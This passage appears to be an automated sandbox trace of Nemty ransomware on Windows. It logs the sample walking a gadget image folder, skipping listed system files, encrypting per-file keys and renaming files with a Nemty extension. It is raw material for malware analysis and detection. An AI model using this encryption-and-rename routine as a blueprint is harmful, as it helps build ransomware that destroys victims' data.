pszString="CyFPVdVwUrHQOYwp1d0Bpw/lJqNHOUNQqP5xuSNOA92yKyzdqJRYSIKROz654dU3\r\nJvOrdWoftdkOOgiiFjNsJwDctih1RWIacjXI1OQKZZU6H3LG5iiZHtdsranwJzmI\r\nzqolBVEBH8/9dQ0G0DCg09OGtO56zXNbbz6ur32ZqpX5d5z3WL5vavnhchoFIIsK\r\nPsqSqh08keGBDCgpQquqqGYdo/MC9tHKyYfKF0yNLZVSP7qBVgoPWPIlPJPjdfAx\r\ngmy8+ZsRrF65QpPNkzaecUutBfaxLRQdD+fbRa0HIJQWCe3CkHn/54XE5wWb9Bmr\r\nx1NdgN8pjTef6AUsJp1SyA==\r\n", pcchString=0x653e91c) returned 1 [0145.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0145.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340348 [0145.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.843] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.850] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340348, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.962] CloseHandle (hObject=0xffffffff) returned 0 [0145.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404b8 [0145.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0145.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png._nemty_kgobjgd_")) returned 0 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.962] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0145.962] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".") returned 1 [0145.962] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="..") returned 1 [0145.962] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="...") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="windows") returned -1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="$RECYCLE.BIN") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="rsa") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="NTDETECT.COM") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="ntldr") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="MSDOS.SYS") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="IO.SYS") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="boot.ini") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="boot.ini") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="ntuser.dat") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="desktop.ini") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="CONFIG.SYS") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="RECYCLER") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="BOOTSECT.BAK") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="bootmgr") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="programdata") returned 1 [0145.963] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2="appdata") returned 1 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_flyout.png", lpUsedDefaultChar=0x0) returned 28 [0145.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0145.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_flyout.png", lpUsedDefaultChar=0x0) returned 28 [0145.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0145.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_flyout.png", lpUsedDefaultChar=0x0) returned 28 [0145.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_flyout.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_flyout.png", lpUsedDefaultChar=0x0) returned 28 [0145.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0145.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0145.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401d8 [0145.964] Sleep (dwMilliseconds=0x5) [0145.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xaa66690, dwHighDateTime=0x1d561e8)) [0145.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xaa66690, dwHighDateTime=0x1d561e8)) [0145.967] GetLastError () returned 0x5 [0145.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.967] GetLastError () returned 0x5 [0145.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.967] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.967] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.967] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0145.967] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="zdqnzyn67UO0/mGA3iHyuSf8a29Iq24MbynHql3p5aePDqzGHY6ZiW97E1dqPrNM\r\nuYm8oDzGtysMOlHSisoTMHk2Dv5UnRzkWa1u4OUBRhPfF1O2tBPsSsJRqgUk1Lrv\r\n+SfuO8vhXyCGOTCt5o0ZnRerk5rIJ7ykrA2dAkuLkXbDoerTYZDBt0m5HBxzsGRX\r\nuECGVpUYaQC129Q9+SDn99uHYx5WCWXsbygStlM4NApAhZjcTSga4IIy15QutodP\r\nWU2q4IkbRVEXUQTPPkpYdQzvXbyp1j/9jnhBfyGe59mhnfCvQSFj+IQeELEp3/JP\r\nAqAh8Zv7arsLbHM9vrx6Jg==\r\n", pcchString=0x653e91c) returned 1 [0145.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0145.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0145.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.968] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.968] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.968] ReadFile (in: hFile=0xffffffff, 